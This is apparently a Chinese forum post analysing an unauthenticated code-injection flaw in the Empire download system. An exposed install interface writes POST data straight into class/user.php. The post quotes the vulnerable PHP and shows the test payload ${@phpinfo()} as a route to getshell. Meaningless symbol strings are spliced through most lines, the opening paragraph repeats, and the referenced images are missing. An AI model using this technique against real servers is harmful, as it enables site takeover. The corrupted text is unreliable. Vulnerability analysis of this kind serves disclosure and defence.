这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们/ U. P! P* H5 }7 z- e
% j2 W! Y* t" B( }- _
( i) O: j3 Y! i, j0 V
这是帝国的一套下载系统 如图' \$ W4 k! J7 j' Q" d. Q/ ?1 A! ^
ps(不需要任何账户和密码,直接写shell) 0 P4 a" d) t1 R! R# r
由于很多站是由于下载要整合discuz 等等一些论坛..../ b; e, ~9 p) ^! u: x! T
& q, [2 s2 _' g6 K1 C
而帝国他又有一个万能接口,如图
- G. }& b- f) O. \! E! x; [3 c3 [ D8 p3 y. _
. I5 N' V( q v$ @+ w而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
/ A6 X/ _2 N) I6 P* e/ p5 a% c$ M
8 S. {3 W6 S6 b N( O8 G |当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
& n, S) R2 ?9 j0 O4 K$ j" G. f
7 P" ~4 y* }0 x' b# n7 M2 n0 X在data/fun.php中的15行' l% ]# ]) l9 {$ `8 A! i
3 z: T, b0 J1 D: p1 x我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
6 R$ L5 Y8 i/ s# K/ }! K t17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干( h7 U/ D+ J- b# I1 {, R4 W
! U5 S+ x3 M0 a; ~; c+ c1 H这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
7 Q2 o& U" Y* X( o
% N" t# p) p4 {% Z: z+ e9 Z! U他将传进来的变量进行了切割,然后赋给了$filetext( k5 Y5 u/ g- i2 m4 F; b; ?5 X
3 r/ v% ]% P. Q, h5 l然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了$ F2 J& R) D% c& o! V9 C8 U
2 h7 \( K) y! R' ]* S我们看看写入的结果,随便填一个 , W* z H+ E# j* B2 L9 |# [- ]
' k5 u/ j0 |$ u5 U" S8 B; z# ~
* S# U6 O- r A b
; s2 t- g# ]7 @2 B% t5 d+ f2 g
) V$ X9 g1 J9 I& l& h1 x6 {
0 x j7 b* g9 d3 l7 Z
6 u5 r# a+ w. l }# E2 k/ U2 ~" b/ \* D% b/ D% ~
' J: {6 d2 R& H' l ]3 Z! L% j8 n* C7 X5 `4 Z
! O4 h3 B2 h2 ?
8 o) m( B4 ?/ f; l& Z# R
" E/ X) m: R" t+ {
; @* s1 S3 t( o& f A
+ e7 }; ^' t& C i# J0 a* a0 D# Q5 d- D& i
" \ s- m1 t' _; \ N4 w# g4 \
* Z8 p& M q+ g j5 l S) a
& z. U4 N$ { P% ]+ I# x
" D0 f( G* h% Y7 c5 d! ^; `
" T; _6 N0 j, F3 m3 J, b! q5 x所以我们淫荡点,写个${@phpinfo()}试试
' _+ E) R& v9 E1 Q$ Z" h& b% ^* ^然后访问以下class/user.php这个文件& ?# i0 ~2 I0 i9 C
日了吧 4 o& l; U% {9 d! X! f; [- s E
' X( ?7 v3 w: }. `! t
# [; s$ u+ H- R2 J9 a
% o$ ~, O! q C2 z
+ B0 e: h2 b8 a7 n/ l$ }; m+ K2 W
- G. q7 `) y, ?) K8 l5 v |